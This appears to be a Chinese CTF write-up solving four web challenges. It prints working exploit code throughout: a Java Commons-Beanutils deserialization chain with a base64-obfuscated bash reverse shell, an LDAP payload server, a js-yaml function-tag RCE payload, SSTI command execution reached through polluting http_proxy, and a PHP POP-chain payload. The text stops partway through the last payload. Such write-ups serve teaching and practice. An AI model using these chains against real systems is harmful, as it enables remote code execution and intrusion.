发布于3月7日3月7日 Members web ai_java 首先通过附件帐号信件获取到帐号通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址查找提交历史我们发现了源码审计源码发现为 可能存在spring–boot 未授权绕过在admin的页面下的/post_message/接口存在fastjson解析 查看具体版本发现无法直接ladp攻击,查看依赖发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell public class CB { public static void setFieldValue(Object obj, String fieldName, Objec t value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Comparator getValue(Object instance) throws NoSuchFiel dException, IllegalAccessException { Class<?> clazz = instance.getClass(); // 获取私有变量的 Field 对象 Field privateField = clazz.getDeclaredField("INSTANCE"); // 设置私有变量的访问权限 privateField.setAccessible(true); // 获取私有变量的值 Object value = privateField.get(instance); return (Comparator) value; } public static byte[] getPayload() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(evil.class.getName()); byte[] code =clazz.toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "tvt"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, getVa lue(new Headers())); Queue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); byte[] byteArray = barr.toByteArray(); String base64EncodedData = Base64.getEncoder().encodeToString(by teArray); System.out.println(base64EncodedData); return byteArray; } } public class evil extends AbstractTranslet { public void transform(DOM var1, SerializationHandler[] var2) throws TransletException { } public void transform(DOM var1, DTMAxisIterator var2, SerializationH andler var3) throws TransletException { } public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}"); } public evil() throws Exception { Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}"); } } public class LDAPSerialServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectory ServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationIntercep tor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con fig); System.out.println("Listening on 0.0.0.0:" + port); //$NON-N LS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationI nterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResul t result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult resu lt, String base, Entry e ) throws Exception { System.out.println("Send LDAP reference result for " + base + " return CB gadgets"); e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS- 1$ String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB 1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2 YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL 3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9 vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0 ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A AN0dnRwdwEAeHEAfgANeA=="; e.addAttribute("javaSerializedData", Base64.getDecoder().dec ode(base64EncodedData)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } } 我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入的发起. signal 首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么发现能解析方法js-yaml的version 是3.14.1 ,跟新版本提交对比https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function然后在模版渲染的地方,会自动调用对象的tostring方法所以上传文件yaml文件内容为下面payload就行了 "name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"} Swagger docs 1.读接口文档弄清楚网站功能2.注册用户 http://47.108.206.43:40476/api-base/v0/register {"username":"admin","password":"admin"} 3.登陆 http://47.108.206.43:40476/api-base/v0/login {"username":"admin","password":"admin"} 4.任意文件读取测试发现在/api-base/v0/search接口存在任意文件读取 读进程 http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text 读源码位置 http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text 读源码 5.代码审计 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可 uapate()函数中存在类似于原型链污染,可以利用来修改环境变量 这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。 http://47.108.206.43:40476/api-base/v0/update { "__init__": { "__globals__": { "os": { "environ": { "http_proxy":"ip:port" } } } } } 修改代理后即可随意发送请求(注意:得选择text才能进入渲染) http://47.108.206.43:40476/api-base/v0/search?file=user&type=text VPS控制请求响应: HTTP/1.1 200 OK {{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}} 此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持! easy_unserialize 被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了题目: <?php error_reporting(0); class Good{ public $g1; private $gg2; public function __construct($ggg3) { $this->gg2 = $ggg3; } public function __isset($arg1) { if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2)) { if ($this->gg2) { $this->g1->g1=666; } }else{ die("No"); } } } class Luck{ public $l1; public $ll2; private $md5; public $lll3; public function __construct($a) { $this->md5 = $a; } public function __toString() { $new = $this->l1; return $new(); } public function __get($arg1) { $this->ll2->ll2('b2'); } public function __unset($arg1) { if(md5(md5($this->md5)) == 666) { if(empty($this->lll3->lll3)){ echo "There is noting"; } } } } class To{ public $t1; public $tt2; public $arg1; public function __call($arg1,$arg2) { if(urldecode($this->arg1)===base64_decode($this->arg1)) { echo $this->t1; } } public function __set($arg1,$arg2) { if($this->tt2->tt2) { echo "what are you doing?"; } } } class You{ public $y1; public function __wakeup() { unset($this->y1->y1); } } class Flag{ public function __invoke() { echo "May be you can get what you want here"; array_walk($this, function ($one, $two) { $three = new $two($one); foreach($three as $tmp){ echo ($tmp.'<br>'); } }); } } if(isset($_POST['D0g3'])) { unserialize($_POST['D0g3']); }else{ highlight_file(__FILE__); } ?> 第一点: shell脚本变量构造数字 if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2)) if ($this->gg2) // 故: $g = new Good('${##}'); 另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可 第二点: 双重md5: if(md5(md5($this->md5)) == 666) md5.py: # -*- coding: utf-8 -*- # 运行: python2 md5.py "666" 0 import multiprocessing import hashlib import random import string import sys CHARS = string.ascii_letters + string.digits def cmp_md5(substr, stop_event, str_len, start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start + str_len] == substr: # print rnds # stop_event.set() # 碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start + str_len] == substr: print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n" stop_event.set() if __name__ == '__main__': substr = sys.argv[1].strip() start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join() python2 md5.py "666" 0 三部分从左向右分别是源字符串、md5一次加密、md5二次加密取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次) 第三点: if(urldecode($this->arg1)===base64_decode($this->arg1)) 可以用数组绕过: $t = new To(); $t->arg1[]=1; 也可以直接赋值为空: $t = new To(); $t->arg1 = ''; 第四点 : array_walk($this, function ($one, $two) { $three = new $two($one); foreach($three as $tmp){ echo ($tmp.'<br>'); } }); 这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag即: class Flag{ public $FilesystemIterator='/'; //扫目录文件 // 或者是 public $DirectoryIterator = "glob:///F*"; } class Flag{ public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件 以下是完整的pop链: //原生类FilesystemIterator或DirectoryIterator扫目录: <?php error_reporting(0); class Good{ public $g1; private $gg2; public function __construct($ggg3) { $this->gg2 = $ggg3; } } class Luck{ public $l1; public $ll2; public $lll3; private $md5; public function __construct($a) { $this->md5 = $a; } } class To{ public $t1; public $tt2; public $arg1; } class You{ public $y1; public function __wakeup() { unset($this->y1->y1); } } class Flag{ public $FilesystemIterator='/'; //扫目录文件 // 或者是 public $DirectoryIterator = "glob:///F*"; } $g = new Good('${##}'); $l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定 $t = new To(); $y= new You(); $f = new Flag(); $y->y1=$l; // You::__wakeup()->Luck::__unset() $l->lll3=$g; // Luck::__unset()->Good::__isset() $g->g1=$t; // Good::__isset()->To::__set() $t->tt2=$l; // To::__set()->Luck::__get() $l->ll2=$t; // Luck::__get()->To::__call() $t->arg1[]=1; $t->t1=$l; // To::__call()->Luck::__toString() $l->l1=$f; // Luck::__toString()->Flag::__invoke() echo urlencode(serialize($y)); //对应payload: O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%